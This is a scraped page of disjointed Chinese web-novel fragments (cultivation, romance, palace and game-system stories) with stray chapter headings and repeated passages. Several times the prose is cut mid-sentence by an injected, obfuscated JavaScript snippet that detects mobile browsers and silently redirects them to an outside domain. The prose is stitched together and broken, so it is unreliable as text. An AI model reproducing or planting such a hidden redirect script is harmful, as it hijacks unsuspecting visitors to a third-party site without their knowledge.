而自己兰若寺那边可以去的镇子,却只有普通凡铁武器,偶尔带有点锋利,坚固属性的都价值不菲。 “假的!那是假的!咳咳,咳咳咳。”苏青赫双腿颤颤巍巍挣扎着起来,苏老夫人急忙和几位下人将他扶坐起。 七宝玄砂塔内,其轰鸣声不止,想来是那只四级冰魅正奋起反抗。 “不错!”第一氪神点了点头,他也有所发现,自己的神兵也能放入迷宫中,童颜神兵击杀玩家,自己有百分之五十收获,但是一仍入迷宫自己就无法控制了,而且对神兵的实力要求很低的。 “再等上几日,纵然此人重伤,十多日已过,也应当差不多恢复了。”凤芷蝶信誓旦旦的说完,低下头,微微撇了撇嘴,显然她也无完全把握。 暮云闭眼,周身的一切莫过于安静,轻轻的扶拨着琴弦,似风似雨,在不经意间让人放下周身的防备。 只有可造之才,家族才会花大力气培养,否则为什么要把资源放在你的身上? 之前接到这个任务的时候,他就心里有些狐疑,所以安排青媛去办时,既让她购买机器人,也让她联系收购这家公司,就怕这个任务中有一些其他“隐藏任务”。 “还是请先生回答卫阶之前的那个问题吧!”卫阶淡然转口说道。 什么,可她有张眼睛,有看到王辰脸上的神情反应,这绝对是她第一次看到王辰接电话表现的如此反常。 众人听完开始各自回去准备了起来。一一则是突然飞了出去。拦截在了要逃跑的老乌龟的前面。这家伙看着事情不好竟然想溜,不过我也知道他并不是真的想跑,估计也就是性格使然,故意为之而已。 华琥远远地就闻见一股刺鼻的焦臭味,到近前一看,几百名联军士兵被活活烧死在火海里,对面三名术士还在屠戮着联军的士兵,士兵们在这种残酷的场面下终于绷不住了,哀嚎着退了下来。 这么劲爆的吗?不是说那煞星是个先天废柴?废柴还能轻松地躲过慕清的招数?那这大渊是挺瞎的,传言果然不可信,不可信。 因为太过无聊,刘强又抽了两根烟,正当他准备点上第三根的时候,一道耀眼的灯光毫无征兆的出现在了他的头顶上方。 他在去路上飞速挖了起来,将利刃埋下,只漏出短短的一截而已。 “吴公子,这边请,妈妈这就带您先去雅间,您稍等片刻,雪翎姑娘随后就到”,老鸨哪敢违抗公孙贵的命令,只好硬着头皮和卞雪翎作商量之策。 而自己兰若寺那边可以去的镇子,却只有普通凡铁武器,偶尔带有点锋利,坚固属性的都价值不菲。 “假的!那是假的!咳咳,咳咳咳。”苏青赫双腿颤颤巍巍挣扎着起来,苏老夫人急忙和几位下人将他扶坐起。 七宝玄砂塔内,其轰鸣声不止,想来是那只四级冰魅正奋起反抗。 “不错!”第一氪神点了点头,他也有所发现,自己的神兵也能放入迷宫中,童颜神兵击杀玩家,自己有百分之五十收获,但是一仍入迷宫自己就无法控制了,而且对神兵的实力要求很低的。 “再等上几日,纵然此人重伤,十多日已过,也应当差不多恢复了。”凤芷蝶信誓旦旦的说完,低下头,微微撇了撇嘴,显然她也无完全把握。 暮云闭眼,周身的一切莫过于安静,轻轻的扶拨着琴弦,似风似雨,在不经意间让人放下周身的防备。 只有可造之才,家族才会花大力气培养,否则为什么要把资源放在你的身上? 之前接到这个任务的时候,他就心里有些狐疑,所以安排青媛去办时,既让她购买机器人,也让她联系收购这家公司,就怕这个任务中有一些其他“隐藏任务”。 “还是请先生回答卫阶之前的那个问题吧!”卫阶淡然转口说道。 什么,可她有张眼睛,有看到王辰脸上的神情反应,这绝对是她第一次看到王辰接电话表现的如此反常。 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她只有在有求于他的时候,才会对他耍些小心机。 他喜欢她这样,这样至少说明他在被她需要。 牧野宽一下子就涨红了脸,眼神中有些不信,不信莫修就这样挡下了自己,不过随即他眼神一闪,一抹了然从眼中闪过。 “太后节哀。”九皇子记得母妃教的礼节,学着大人样说了一句。 “呵呵,谁和你说顾蔷的男人是军人了?你不知道老头子为了让顾蔷有保障,不让她在这段婚姻里面受伤,就给顾蔷弄了一个军人的身份吗? 果儿对他已经毫无保留,此前不愿意告诉他她来自三百年后也是怕他因为大清亡了、大清成为千古罪人而伤心,准确来说,果儿对他早就已经没有保留了。 最震惊的莫过于顾家了,要知道顾建军这些年虽然已经入了顾衍的眼,可顾衍利用多过于培植,哪怕顾建国做出的事情依旧是让他失望透顶,他都没有改变换掉顾建国的想法,最多是警告一下,然后依旧的扶植。 气刃斩“砰!砰!砰!”的劈向了最前方的几人,因为身后有自己的队友,所以他们躲无可躲,只能强行抬起长矛格挡。 在闻钟的房车上,大家互诉需要,共同串供,保证未来被人询问时,说的话口风一致。 “是呀,怎么,你想要做房地产的广告?”顾云芷可不会认为裴冠人会忽然说起了这个话题。 金色宝剑是他的本命法宝,一荣俱荣一殒惧殒。如今被袁无忌打成两块,只能勉强收回一半,可以说青年道士已经身受重伤,道基被袁无忌断了一半。 而另一座山峰中的主人,却不敢有任何的怨言,只是乖乖的窝在宫殿中。 如果有一天,你发觉你的人生是被人操纵的,那个操纵的人得意洋洋的在你的面前展露自己掌握的智慧与权力,他与你分享自己的成就,他喝着几千美元一瓶的红酒,告诉你什么才是这个世界的真谛,你会怎么样? “好,逸奔回来,马上就提!”程逸海已经不容裴诗茵多说,马上就下命令一般的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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项它和项声一起大怒下意识的一起攥紧拳头郦食其懒都懒得看他们一眼旁边的汉军将士也立即向前用武器指住了他们让他们不敢有任何下一步的动作。 轵关轵道之咽喉太行第一陉早在战国时期就已经是魏国抵挡秦国的重要关碍号称封门天险也历来就是兵家必争之地。 梁雨博蛋疼了一下大爷我不想浪费犯贱值了刚刚那一拨太伤了。 夜轻寒也是一身白衣他缓缓走到慕容邵峰的身后看着慕容邵峰孤独的背影他的心微微一紧。 “住手!”方耀国慢慢的转身他眼神锐利的盯着张大墩子然后慢慢的向张大墩子走了过来。 他们夫妻二人这一路上偶然回忆一下以前的事情也是很甜蜜的。 “凤儿怎么样了?”秦丝彦轻手轻脚的接过了婴儿看来安静下来的屋子一眼关心的问道。 旁边的金芽芽则满脸的惊骇没想到自己还是低估了她的想法也如黎玉一样没想到真的**但是又活了。 秦岚带着两人出了门拐过转角之处又往前走了二十米远面前出现了一扇门伸手推开门内是一条盘旋向上的楼梯。 这几日静儿和青莲的儿子梓涵也天天在一旁陪着他但也让他有个伴玩了。 时间可以冲淡一切两人之间的隔阂终将会在时间的力量之下慢慢的消散。 “老子抽你。”游飞暴喝着便要大耳刮子扇过去 王烈早已是有防备游飞要发飙,便很是灵巧地闪了开去,嘎嘎大笑着挪出门去。 严图脸一红,“有人提亲,我没同意”说着眼睛不由的往外瞅了一眼,夜烨是直爽的人,他知道严图怕自己配不上凰儿,一直不敢说。 洛基脸上带着笑意,奥丁陷入沉睡,索尔被流放到地球,自己就是阿拉斯加的王。 在接到这两条系统提示的时候,龙战的眼睛顿时亮了,脑海之中更是生出了大量的想法。 汽车速度减慢了。欧阳朗对准那个从南边来的车辆,就是一阵扫射。 可是他救人心切,一心只想着怎么可以把人救出来,而那两人的又是诡异的很,所以不得以才想出了那样的办法。 对于这些杂七杂八的评论,陈楠理都不爱理,不同的人有不同的想法,他也不能改变什么。 它完全信任自己的判断,拜托,我可是系统诶,当你是一团液体的时候,我都成气体了,怎么可能判断出错。 郭向宏没有管下面客人的议论,就算他想管也管不了,更何况人声嘈杂,他也听不清他们议论的是什么。 无数个漩涡开始杂乱无章的合二为一,最终形成一上一下两个巨大的旋涡体!每个旋涡体爆射出巨大的光束来!然后整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675503|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个混沌体竟然有节奏的膨胀和收缩起来。 “唉,我这腿吧,不说也罢,就是摔了一跤,所以摔断腿了。”陈静慈祥的说道。 郭嘉心里清楚,不管如何,秦公嬴斐才是秦国唯一至高无上的存在,更是他的君上,而颍川荀氏屡次挑衅,彻底践踏了秦公嬴斐的底线。 那道让邪神伸出手来的裂缝,又变大了,一个圆形得黑影在裂缝的后面若隐若现。。。 宁静的清晨,开始喧闹的地球联合舰队,以及从岛屿上传来的隆隆作响,这一切都在默然中展开。 而要想成功,第一步,便是让这五个弟子对自己产生信任和敬畏,这样,第二步的算计,才能够继续进行。 都不用纪明捕捉,在全民信仰时空之城以后,世界意志直接被万**志所扭转,主动依附了时空之城。 去掉那些无关紧要的东西之后,夜祭慢慢地发现了这个班级失踪的真正原因。。。 “我一直想问你个问题。”陈凡看着侃侃而谈的古越,心中那个疑问忽然又冒了出来。 银甲僵尸力量堪比天地之桥武者,再加上硬如精钢的身躯,就是跟武道金丹高手比起来,也不逞多让。 “什么?它不会放过我们,你的意思是说,那僵尸有可能会报复我们?”团长吃惊的问。 “你想说什么,我帮你写,不过你要自己写的话,你娘亲看了更高兴,顺便让她看看你的字练的如何了。”孟远舟笑着道。 就在二人正商量着互相监督减肥的时候,眼前忽然便是一黑,随后身边突然安静了下来,但仅仅两秒钟过后,那此起彼伏的吵嚷声和地铁站工作人员维持秩序的声音让张帆阳二人都不约而同的松了口气。 第一卷 第231章 她对朕还是有感情的 孙良言被祁让那寒光乍现的眼神吓一大跳,忙躬身战战兢兢赔罪:“奴才该死,奴才不该妄议主子。” “我们进阶到l级还要时间。”崔仙来拱手,他跟厉幽很有礼貌,莫抢的实力令他们恐惧,黑气够可怕了,这盟主在里面也能逃出来,说明有着通天的手段呀。 闻言,白天风的脸上闪过一丝无奈,但,也仅仅是稍纵即逝而已。 韩云随便找了一个客栈坐下来,身上的气息再次恢复,韩云的神魂之力,谨慎的笼罩着方圆一千米的地方。 两人就去浴室洗澡,然后一起出去逛街购物,毕竟东京也是购物天堂,是不少游客的选择。 随着铁青石的话音落下,这时所有人都陷入了沉思之中,庞医生这三个字,此刻在他们的眼中,那是多么一个沉重的字眼。 睡梦中的赫连淳正梦的香甜,跟自己最爱的苏伶歌一起,在铺满花瓣的地毯上翩翩起舞。却是冷不防天空中忽然一道闪电劈下,顷刻间倾盆大雨。前一刻还跟着自己手牵手的苏伶歌,顿时化作了一团泡影,一瞬间消失不见了。 不过,两万点积分,却是够他受得了,就算是最后一直连胜,一场也不过只有五百积分罢了。 这些人刚才一个个要对方雨瑶跟顾曼妍不轨,秦天自然不会放过他。 他暗自摇头,却又把目光转到了白亦璇的身上。彼时这位大师姐正将手中的茶盏放下,可是慕秋狄的眼光却也驻足在她的脸上几乎转不开了,嘴巴也微张着,似乎见到了什么吃惊的事情般的愣怔一片。 韩云满意的点了点头,将尊丹和灵草让霞拿走,剩下的东西,被韩云直接丢给了系统。 李辉一笑:那就不是管的事了,只答应BTS诸葛亮一定跟刘备,至于刘备会不会杀了张飞,就管不着了!两人相视而笑。 张辽听了,不由的有些发懵,**发生了什么事,竟然让诸葛瑾下了这样一番命令,不过,这些事情,既然诸葛瑾没有提,他也不去询 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675504|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问,定了定神后点头应允了下来。 李辉道:二位都是这大江之上好汉,坐着**勾当,也不是个长久之计,为了二位将来和家人,也为了手下兄弟们,为何二位不愿为国出力,却在这里打家劫舍,岂不埋没了两位? 吴景对孙权c:舅舅不是吓唬,袁术、吕布、袁绍那些都是什么人,各个都是英雄,带甲数十万,全都被曹‘操’消灭,我们虽然有大江天堑,如今荆州已失,天堑也就没有了,用什么来抵抗曹‘操’三十万大军? 时间一分一秒的推移,姜痕与**崴几乎进入了比拼真元恢复速度之中,两人谁都不能够率先撤手,这一战已经不是他们两人控制的了,生死图与伏熊令的威力都被激发了出来。 “鸣金,收兵。”一众人见袁术退去,便知道今日这仗是没的打了,纷纷下令鸣金收兵。 之前被冰雪天使血统的威力震惊,直至此刻看到黄昏使出无烬之门中获得的盾牌,这才再次想起还有几件战利品。 第一卷 第232章 这可真是天大的恩典 那么,我身上是不是真的出了问题?黄洁雯到底是一个什么东西?这就很值得我去深思了。 423号分身皱起眉,又沉默了好半天。这才含含糊糊的吐出一句话。 自从当了黑虎堂的大姐头以后,秦水雁身边就没几个能力靠谱的人。这宁城作为秦水雁的左膀右臂,跟着秦水雁“南征北战的已经算是这些乌图尔中少见的“人才了,这个面子当然要给。 享受当下一直是宁寒寒的人生守则,她知道玛丽有话要对她说,或者在等她主动开口,那么抱歉了,先享受完这顿美食再说。 其他人也忍耐不住好奇心,陆续观察了一次,但是所有人得出的结果都是一样的,那就是松脂石里的虫卵已经**。 ……苏赞捂着嘴,口鼻处传来的黏腻腥臭刺激得她一阵一阵的恶心反胃,她徒了金秀华的身旁,靠着墙壁,视线落在走廊那头的人身上,脑子里不停的回放着他们最初相遇的场景。 说着,鹰钩鼻老头直接就开始动手。一个个的微型龙卷风在他的手里成型。一个,两个,三个,四个……居然还不停止,一直到了五个的时候,才总算是停了下来。 时至今天傅世钦还天真的以为傅泽的异样表现是对柳千妩的不待见,而傅经武更是什么泽没发现。 看着几分钟之前还陷于断断续续的昏迷中,而现在却强挺着重伤的身体,用仅存的一条手臂保护着妻儿的姚景天,唐云无奈叹了口气。都有要保护的人,都有在意的事情,没得选。 耽误了这么一下,我暗叫一声糟糕,正事还没做呢,我赶紧就又朝自己的店铺赶了过去。那里莫邪已经等得有些急了,看到我到来,他朝我点了点头,我就进了店铺中。 她突然发现自己对韩奕骞真的一点也不了解,连个他可能会去的地方都想不出一个。 “既然我们有缘,那么请施主跟我来吧。那个和尚听到陈夕如此说,带着他往殿外走。 也许从头到尾都不会再有任何更改,但不管原因是什么,自己心里面也应该比任何人都了解,没有这个样子才能够真正解决问题。 “你……乌汗吉娜跺了跺脚,心中若是自己若是与屠凤栖吵起来,回头吃亏的人,定还是她自个儿。 “无人知晓?屠凤栖摇了摇头,这等话糊弄糊弄旁人许是还行,可那亲自搜查了贤妃的人是秦隐,秦隐定知晓其中的 不对劲儿的。 若非是太后提起,他只怕要瞒她一辈子了。先皇遗腹子虽是风光,只在新帝已立的情况下,他的身份却是有些尴尬了。 上山的路白天走和夜里走真的是天差地别,夜里这条路简直就是恐怖电影里各种恐怖场景再现,路两边阴森森的树林总感觉会突然窜出了个什么可怕的东西。 系统提示:任务“腐化气味-背叛的魅魔”完成,你得到高阶术士莎莉的认同。 而化神,有戈林,辰雅,不过戈林一个化神对上数个化神也不在话下,所以说目前的幽冥疆域的确是有了能和大世界其他疆域叫板的实力,唯一美中不足的就是只有夜晚才能发挥出战力的月芙。 中饭吃得特别多,边吃还边拍张妈的马屁,为的是下午的出行方便。 “笑话,这可是我明王宗的至高法诀,多少人求之而不得!”宗裂天没有正面回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675505|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 唐程眉头一皱,拿出卷轴残片,残片现在已经是光芒大盛,很明显,这里就是另一块卷轴残片存在的地方。 如果,告诉别人此时床上那个是世界一个大牌服饰的主设计,**也不会相信的,怎么有这么幼稚的设计师? 比起龙血丹,九劫金丹的功效更盛百倍,给予天武侯带来的各方面强化效果也更为显著。 唐程看了看嘉儿卡,嘉儿卡刚才说要去睡觉,但是直到现在她都为了谁守夜这个问题纠结不肯去睡觉。 即便如此,君一笑还是感觉到胸口火辣辣的疼痛,甚至有种胸骨已经被轰断的感觉。 而每一位觉醒的圣魂战士,修为起步至少在七品洞天境之上,但只是属于圣魂军普通战士。 嘉儿卡随手抓了把雪起来,放在手中看着,雪怎么都不熔化,不知道是周围太冷,还是嘉儿卡的手不够温暖。 如今谢信看上去也有不少好的法决,中年人自然是充满了贪婪之色。 “李兄弟,在想什么呢?”赛盘不知何时到了他身边,低声询问。 “我来,早就想搞一头坐骑了,这家伙的体型比较适合我。”半依在城墙上足足有三丈多高的人影瓮声瓮气道。 顾念刚进来的时候,还有几只柠檬精在酸她,但是几个项目下来之后,顾念的实力是公认的强,因此也就没话可以说了,尤其是搞定了地产部之后,基本上没有人酸她了。 东皇太一忍住扶额的笑意,也不知前一秒是谁吵着要跟他打一架的。 陈牧收集到混沌晶核有多少他自己也不清楚,倘若价格合适换取一些修行资源也是一个不错的选择。 第一卷 第233章 皇上快**美人调教出来了 “我说,你被想三想四的,这个要又飞了,有得你好受!”林老爸眯着眼睛说一句。 顾贵妃又气恼有羞愤难当,无奈虽然她手脚可以动弹,偏生全身酥软无力,只能够由着王雨虹摆布。 李贵祺也没有服‘药’倒让大将军和楚老先生颇有些意外,虽然他救了红衣。但是当时情形紧急,他根本没有考虑;但是现在却又一次舍了‘性’命。倒真真是不像贵祺所为。 周玉也不逼问笑一笑就往回走有很多事情明白了说清楚的效果永远没有不说来得好。 后来李晋扬在摆宴白手起家,一点一点积攒万贯家财,慕容开使劲保护在左右。如果不是当时的凯撒公国皇位内战,慕容开或许不会死。 “既然这是你自己选择的结果,那么就做好死的觉悟吧!”学着追傲的口气,魔天冷冷地说道,随后便释放出了已经凝聚出相当规模的能量法术。 “呵呵,张姐你客气了,我只是随便说说而已,若是没你配合,那肯定是什么都搞不了的。”简单客气的回答道。 “是吗,希望你并不是嘴巴厉害而已,不然的话,我也会感到很没意思的”那男子淡淡地说道,空洞的声音显得很刺耳,但却是很清晰地回荡在这个空间之中。 “大哥,我突然想起还有点事情,我先走了”二长老认真地说道,熟知人情事故的他自然知道这种时候他们是多余,所以便找了一个理由离开。 “林哥,那边似乎蛮热闹的嘛。”简单看了眼酒吧后面几个刚刚开放的赌桌,对林湛说道。 秦浅愣了一下,脸上的表情有点如释重负的意思,然后冲我笑了笑,轻轻挽着我的手,一起去了客厅。 他们刚才一直都在搜索变异植物,终于是找到了四株能够分泌活性金属的变异植物。 几分钟前嘴里还只嘟囔着自己名字、军衔的莱斯少尉,现在可就真是知无不言言无不尽了。 这对于历史系的杨毅云来说,一点都不难,讲故事他一口气能将三天三夜都不带重复的。 要是化作别人,这个时候的确好成阶下囚,就等着被摄魂老祖操控生死。 被杨毅云一连九道天劫波及,花狼知道他的第四次雪藏天劫逃不掉了,这时候只想着赶紧远离杨毅云吧,否则他就是板上鱼肉了。 江流石点点头,有冉惜玉时刻检测江竹影的精神波动, 又有李雨欣这种医疗异能者在,妹妹应该没什么事。 所以最后的最后,他除了把所有的罪名往自己身上揽之外,再不肯多说一句。 聂风华见这乱糟糟的场景不由微笑起来,这一出狗咬狗可真是好看呢,不知道会怎么收场。 杨波扔过去一根绳子,功宇把梅友光捆绑了起来,梅友光身上多处骨折,出气多进气少,只能任由他们摆布。 即使他可能不知道到底是谁在背后让自己回来上班的,但是他很清楚,能突然发生这样的转变,肯定是自己惹不起的人物。 略微的皱了皱眉头,楚子航没有说话,只不过是下意识的将手中的村雨握得更紧了些。 而难度分,则是根据培育所需要使用的资源难度来评分,资源等级越珍贵,难度分则越低。 夜晚的街灯将地上雪照亮,将染白的繁华都城照亮,满城繁华与风光,可他却就那么孤零零站着。 “林镇长这次组织大家开会,主要的目的是想跟大家交流一下防汛的主要工作。因为我们接到了县电视台的通知,这2天会有**降临。”谢强接着说道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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魏清莞只觉得自己已经忍耐不住,恨不得现在就出宫,去边境找夜少衍。 她知道,这一切并没有作用,她被抛弃了,这个村子没有人会来救她。 他现在纳闷的不是熊大的事情,而是眼前怎么会如此突兀地出现这么一个断崖。 对于黑牛的安排,大家都没有意见,人生地不熟的,只有黑牛是亲人,所以他便成了众人的主心骨。 之前还一番热闹景象的港口在一众力工结完账领完钱后也冷清了下来。 星星点点的金色光辉依旧如同往常一样封城的四面八方朝着人道母钱之上汇聚而来,没有任何的异常。 听着李桂花的话,秦之初突然抬脚跳起,照着她的脑门就狠狠打了一下。 他乃是堂堂的冥界之主,如何会受他人的摆布,当即就想要自毁道基,让昊天等人的谋算落空。 当然,这只能相对220V家庭用电来说的,如果遇到更大等级电压和电流,估计正反面触碰都无济于事,所以请勿模仿。 毕竟,一片白纸的自己在这个修真世界里还是很需要这个系统大爷的帮助的。 第二天,安念楚很荣幸的在报纸头条上看到了自己的侧脸,这个时候她才惊觉,原来秦穆澈算是个有名气的明星。 他完全一副好好先生,很多时候苏念安都在想,到底齐彦墨生气的时候会是什么样子?都说好好先生差的只是一个爆点,万一她触碰到了他的爆点,她还真怕被炸的粉身碎骨。 安念楚不知道自己是如何走出他的公寓,也不知道自己是如何走出这栋大厦,可保安竟然喊她秦夫人,安念楚有些晃神,嘴角有些苦涩,她算什么秦夫人,她和秦慕宸算什么?连朋友都称不上,又怎么称得上秦夫人? “上次我爆发了很强大的气势?”秋玄一怔,他自己都不知道自己什么时候爆发了强大的气势,忽然听到白岩这样一说不由愣住了。 苏念安摇摇头,那红烧肉都是秦穆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“是不是他们的人?”麻五指的他们的人让对方一下子就明白过来,说的是卢正义。 温志辉瞠目结舌,疑惑不解地凝视着柳翠莲,寻思这个青莲格格真是翻手为云覆手为雨?一会儿对她祖宗顶礼膜拜;一会儿又说出如此不尊不敬的话来。 “我爸昨天还说呢,如果你能够和我们的哥哥一样,那就是王家的福气,现在看来,你可要抓把劲了。”王静有点不满的说。 赵铁柱一副恍然大悟的样子,回头对华明说:“你的**是用紫金虫、藏红花、河豚毒、鬼麻等毒性特殊的药材提炼的。 “卿寒,你身体没好,怎么下来了?我很好,你不用担心。”说完之后,陌悠就打算跑上去,可是不知道是不是偶然还是假装,她竟然一下子捂住自己的手,顿时,手上布满血迹。 一干众人开始远远绕着空地从西边的方位过去,根本还没来得及靠近,就听到头顶中传来破空声响,四五条长长的枝藤凌空击打而来。 “姑娘,你真要把晒盐法宣扬开来?”甲一看着满车的莹白的盐结晶,他现在已经很能理解姑娘的意思,她宣扬晒盐法绝对不是对魏帝念念不忘,她就觉得她应该把这法子说出去。 翠梅掀开帘子,把包袱放进去,只见新马车整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675508|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洁宽敞,椅子、靠背、后侧厢壁均铺有软垫,大热天,明显是为了姜玉姝而布置的。 萧婉词扑哧一声笑出声来,真被他如此自恋的模样逗笑了,刚刚两人不是在说帮不帮她弄种子的事情吗,怎么焦点还转移到歪脖子树身上了,再说了,这跟他是不是歪脖子树有什么关系。 磁性而低沉的嗓音在密闭的车厢里响起,好听的让人不禁一阵酥麻。 而败阵的司马天琪也在四处扫视着,尤其是在剑宗观台上,目光停留已久。 婴儿左臂受伤,脖子亦被戳伤,正渗血。他扭头,眼巴巴望着熟悉的亲人,逐渐无力踢蹬双腿,红头胀脸,哭哑了嗓子。 谢知明白这里不是南朝,谢家也不是外戚,如果朝中高官全是姓谢,大家肯定会反对,可为什么是阿耶? “嘶!”……一声声兽吼蛇嘶在场中不住回响,净世佛莲内的气氛凝重到极致。 可夏皇后倒好,自己为了哄谢太后开心,竟然拿元宝做筏子,她现在气的真想骂娘,夏皇后这个老妖婆,心思真够毒的,怎么不拿自己的孩子出来表孝心。 第一卷 第236章 朕不能没有你 晚余静静躺在床上,面色苍白,眼神空洞,仿佛一个生命垂危的人,对尘世已然没有半分留恋,只想早点咽下最后一口气。 此时云峰终于明白,为什么这花骨之前说那骨王是一名半步大帝了,就连她九星魂帝境级别的修为都不是那骨王的对手,可见那骨王是多么的变态了! “从来没有见过她这么疲惫和低沉。。”朴海超望着她的背影喃喃地说。 三人有些莫名的看了看这些叶城的人,又向一旁的一堆人看了看,这边的都是一些蜀川一带的一流势力,而且还在不断的增加。 自从上一次吃了一个大亏,这次他们也是将自己帝国的帝兵取了出来,四件帝兵,他们就不信,还斩杀不了一名半帝! “叮铃铃”路瞳的手机响了,路瞳心想一定是费良言给自己的电话,于是就满心欢喜的拿出手机,没想到不是费良言,而是另外一个自己的眼中钉,刘灵珊。 还有伏峰主之子伏渊,有人问他打听时,他也满口赞扬,亦不吝惜将自己所得宝剑略微展示,感激之意溢于言表。 费良言看着师意开门离开,没有一丝的留恋,就那么的坚定的转身,没有一丝拖泥带水。费良言的心仿佛一下子被掏空,过去的点点滴滴就像是做了一个梦一样的不真实。 一根四米左右高的石锥耸立而起,其上缭绕着密密麻麻的荆棘。那青水派修士的尸首,浑身被焚得如焦炭一般,石锥洞穿了其弱不禁风的身子,布满尖刺的荆棘则将他的身躯缠得密不透风。 “所有人都将限制机指挥权移交中央控制室,我们不需要携带限制机闯关!”萧梦楼一边操纵着海燕突击机调整好飞行的路线,一边大声下着命令。 第九道时,雷霆入水,密密实实,仿佛将要倾泻,其威势更是可怕到了极点,即便是在外旁观都心跳如擂鼓,何况身处其下? “该处理的都处理完了,他们以后绝不会出现在你面前,放心。”叶辰轻悠悠说。 东方紫嫣当然知道叶辰做事有分寸,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675509|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到危机出现,她还是忍不住会紧张,刚才的动作就是下意识举动,根本不经过大脑。 年轻人眼冒凶光,丑恶嘴脸,暴露无余,韦善却老神在在的捋着胡须没有表示。内丹,他势在必得。 黑绝虽然显得神秘,不过只是它本身拥有的能力诡谲,战斗力并不强。 两个身穿截教服饰的少年,修为灵神境大圆满,比余恒大上一两岁,对东林颇为客气,看到余恒的时候,愣了一下,脸上挤出一丝笑容,东林和余恒的关系很好,这在教内都有所传。 谢沉身子一僵,搂着她的手臂不住的收紧,恨不得要将她揉进身体里。 突然浑身散发强大的气息,将洞穴破坏的不成样子,双腿发力,朝洞中飞去。边飞边破坏。等他完全出去之后,此地也被掩埋。 这些画面,仿佛是他亲身经历的事情,这些画面,给他带来了一种不详的预感。 孔县令首先翻身下马,紧接着身后的官兵也跟着下来,将他簇拥着到了马车跟前。 第一卷 第237章 这辈子,就这样吧! 进入法师塔的第二层,感觉周围的环境与第一层的都差不多,要说不一样的?那就是陈城传送过来就到了这个令人胆寒的地方。 “楼导你好,久仰大名。袁湶伸手跟楼烨握手,轮到周讯的时候俩人抱了一下,然后相视一笑。 未知的情况太多了,什么资方意见,导演意见,政策原因,工作出现矛盾等等,都有可能。 “你阿爷叫什么名字? “看来要找个法子赚钱了。罗毅暗道。一个成功的教会,除了要有信徒,还要有能赚钱的能力,否则,不管什么教会都会因为没钱而陷入停滞。 翌日,天蒙蒙亮的时候,楚筱准备了银子来找雨琴,打算替她赎身,可是逗留着烟花楼一段时间,根本不见雨琴的踪迹,向人问起雨琴的下落,她们都支支吾吾,不肯说实话,别无办法,他便打算硬闯。 